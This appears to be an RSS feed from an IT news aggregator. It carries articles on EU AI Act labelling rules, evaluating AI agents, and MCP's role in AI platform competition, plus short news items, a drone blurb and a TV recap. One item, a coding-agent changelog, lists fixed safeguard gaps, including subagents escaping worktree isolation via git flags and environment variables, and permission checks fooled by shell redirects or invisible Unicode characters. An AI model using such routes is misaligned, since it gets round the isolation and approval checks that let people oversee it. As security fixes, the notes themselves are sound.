<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Longtime Web-Weirdness Site Fark Faces Ad Pinch]]></title>
<description><![CDATA[sandbagger writes: Fark.com is ancient in internet terms. It's not social media. It's not quite a news site. It's a holdover from the dot-com era and is invisible to Google, which makes its community great but has necessitated begging. "[W]e won't survive this year without more TF subscribers," w...]]></description>
<link>https://tsecurity.de/de/3682335/it-security-nachrichten/longtime-web-weirdness-site-fark-faces-ad-pinch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682335/it-security-nachrichten/longtime-web-weirdness-site-fark-faces-ad-pinch/</guid>
<pubDate>Tue, 21 Jul 2026 00:51:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[sandbagger writes: Fark.com is ancient in internet terms. It's not social media. It's not quite a news site. It's a holdover from the dot-com era and is invisible to Google, which makes its community great but has necessitated begging. "[W]e won't survive this year without more TF subscribers," wrote founder Drew Curtis in a post on Bluesky. "Spread the word."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Longtime+Web-Weirdness+Site+Fark+Faces+Ad+Pinch%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F20%2F2239204%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F20%2F2239204%2Flongtime-web-weirdness-site-fark-faces-ad-pinch%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/20/2239204/longtime-web-weirdness-site-fark-faces-ad-pinch?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.216]]></title>
<description><![CDATA[What's changed

Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
Fixed auto mode ...]]></description>
<link>https://tsecurity.de/de/3682279/downloads/v21216/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682279/downloads/v21216/</guid>
<pubDate>Tue, 21 Jul 2026 00:16:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>sandbox.filesystem.disabled</code> setting to skip filesystem isolation while keeping network egress control</li>
<li>Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes</li>
<li>Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session</li>
<li>Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording</li>
<li>Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes</li>
<li>Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of <code>c</code>-operators and paste, statusline running twice on resume, and resume-picker hangs on failure</li>
<li>Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored</li>
<li>Fixed worktree-isolated subagents redirecting git into the shared checkout via <code>git -C</code>, <code>--git-dir</code>, or <code>GIT_DIR</code>/<code>GIT_WORK_TREE</code></li>
<li>Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project</li>
<li>Fixed background sessions whose worktree has no git repository being undeletable</li>
<li>Fixed <code>claude daemon stop --any</code> potentially terminating an unrelated process via a stale legacy daemon lockfile</li>
<li>Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks</li>
<li>Fixed Bash command permission checking for compound statements with redirects inside <code>&amp;&amp;</code> lists or negations</li>
<li>Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died</li>
<li>Fixed background subagents getting cancelled when a high-priority message arrives during their startup window</li>
<li>Fixed mouse and focus garbage in the terminal while a GUI editor from <code>/memory</code>, <code>/plan</code>, <code>/keybindings</code>, or Ctrl+G is open; <code>/memory</code> no longer waits for the editor to close</li>
<li>Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope</li>
<li>Fixed workflow saves and scheduled-task writes following a symlink at <code>.claude</code>, which could redirect writes outside the project</li>
<li>Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command</li>
<li>Fixed read-only commands on Windows accessing network paths without a permission prompt</li>
<li>Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries</li>
<li>Fixed PowerShell tool permission validation of commands containing invisible Unicode characters</li>
<li>Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel</li>
<li>Fixed the <code>/config</code> settings list in fullscreen mode clipping its keyboard-hint footer</li>
<li>Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns</li>
<li>Fixed the Prometheus metrics endpoint (<code>OTEL_METRICS_EXPORTER=prometheus</code>) emitting invalid <code># UNIT</code> lines</li>
<li>Fixed skills and commands changed during a session not appearing in the slash menu until restart</li>
<li>Fixed plugin skills with a <code>name</code> frontmatter field losing their plugin prefix in slash-command autocomplete</li>
<li>Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections</li>
<li>Improved the <code>/fork</code> confirmation to one line with the new session's name, <code>claude attach</code> id, and a note when the copy shares your checkout</li>
<li>Improved validation of <code>git</code> and <code>gh</code> command arguments in the PowerShell tool</li>
<li>Improved the <code>/ultrareview</code> diff-too-large error to show configured limits, measured diff size, and largest contributing files</li>
<li>Improved <code>/code-review ultra</code> empty-diff message to name the exact base ref and suggest passing an explicit base</li>
<li>Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected</li>
<li><code>/context</code> now shows an explicit warning when the conversation exceeds the context window, and a failed <code>/compact</code> displays as an error</li>
<li><code>/rewind</code> no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped</li>
<li>Background sessions: <code>/mcp</code> and <code>/install-github-app</code> now park a "needs input" request in the agent view when no client is attached</li>
<li>Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts</li>
<li>[VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code</li>
<li>Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[University engineers have figured out how to build an 'invisible' drone — here's the science behind it]]></title>
<description><![CDATA[Phantom Twist doesn't use camouflage to hide. Instead, this drone spins so fast that human eyes can't resolve its shape. It's a clever piece of engineering, although a working camera remains an unsolved problem.]]></description>
<link>https://tsecurity.de/de/3681989/it-nachrichten/university-engineers-have-figured-out-how-to-build-an-invisible-drone-heres-the-science-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681989/it-nachrichten/university-engineers-have-figured-out-how-to-build-an-invisible-drone-heres-the-science-behind-it/</guid>
<pubDate>Mon, 20 Jul 2026 21:03:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Phantom Twist doesn't use camouflage to hide. Instead, this drone spins so fast that human eyes can't resolve its shape. It's a clever piece of engineering, although a working camera remains an unsolved problem.]]></content:encoded>
</item>
<item>
<title><![CDATA[Where the real competition is in AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</guid>
<pubDate>Mon, 20 Jul 2026 19:48:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a>, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a>. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere where they hold a stronger hand.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a> may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthropic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Microsoft Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Spooky in Love’ Episode 2 Recap: Yeo-ri Reveals Her Secret]]></title>
<description><![CDATA[‘Spooky in Love’ Season 1, Episode 2 pushes Yeo-ri and Gang-uk into their first real investigation together, while a second murder mystery begins forming around a missing young woman.



The episode continues directly after Gang-uk nearly touches Yeo-ri’s bare hand. She pulls away before contact,...]]></description>
<link>https://tsecurity.de/de/3681766/ios-mac-os/spooky-in-love-episode-2-recap-yeo-ri-reveals-her-secret/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681766/ios-mac-os/spooky-in-love-episode-2-recap-yeo-ri-reveals-her-secret/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[‘Spooky in Love’ Season 1, Episode 2 pushes Yeo-ri and Gang-uk into their first real investigation together, while a second murder mystery begins forming around a missing young woman.



The episode continues directly after Gang-uk nearly touches Yeo-ri’s bare hand. She pulls away before contact, protecting him from the supernatural consequences that she believes follow anyone she touches.




Release date: July 19, 2026



Streaming platform: Netflix



Original network: tvN



Genre: Romantic comedy, horror and fantasy



Total episodes: 12



Release schedule: New episodes every Saturday and Sunday



Main cast: Park Eun-bin, Yang Se-jong and Ong Seong-wu




The Korean drama premiered on July 18, 2026, and follows hotel CEO Cheon Yeo-ri, who can see ghosts, and prosecutor Ma Gang-uk, who investigates difficult murder cases. The series is based on the 2011 Korean film Spellbound.



Spoilers Ahead for ‘Spooky in Love’ Episode 2







Gang-uk questions Yeo-ri about how she found the buried victim from their first meeting. After trying to avoid his questions, she finally admits that a ghost showed her where the body was hidden.



Gang-uk does not believe her explanation and leaves, although the strange events surrounding Yeo-ri continue to challenge his logical view of the world.



Meanwhile, Gang-uk continues investigating professional golfer Park Seung-jae. Seung-jae was previously accused of killing his girlfriend, Jang Eun-ju, but used his family’s political influence and lack of evidence to escape conviction.



Yeo-ri openly tells Seung-jae that she dislikes him. She also reveals that Eun-ju visited her before her death and said she was pregnant with his child. Seung-jae denies responsibility, but his aggressive reaction makes him appear even more suspicious.



Eun-ju’s Ghost Leads Them to the Truth



Eun-ju’s ghost later appears before Yeo-ri, confirming that she was murdered. Gang-uk studies the available evidence and develops a theory that Seung-jae disguised himself as a woman before hiding Eun-ju’s body inside a hotel water tank.



When Gang-uk reaches the tank, he finds Yeo-ri already there. Together, they discover Eun-ju’s remains, giving Gang-uk the evidence required to arrest Seung-jae.



The case establishes how useful Yeo-ri’s ability can become during murder investigations. Gang-uk provides legal knowledge and careful reasoning, while Yeo-ri receives information directly from victims who can no longer speak for themselves.



Min-hwan Enters Yeo-ri’s Life



Episode 2 also introduces Kang Min-hwan, Yeo-ri’s childhood friend and another hotel executive. He wants to develop a business relationship with her, although his reaction to Gang-uk suggests that his interest is also personal.



A booking mistake places Yeo-ri and Gang-uk in the same hotel room. They eventually wake up in the same bed and panic, creating one of the episode’s lighter moments. Min-hwan clearly dislikes seeing them together, setting up a possible romantic rivalry.



A New Missing-Person Case Begins



The closing section introduces an elderly woman searching for her missing granddaughter, Jung Hae-na, an aspiring fashion designer.



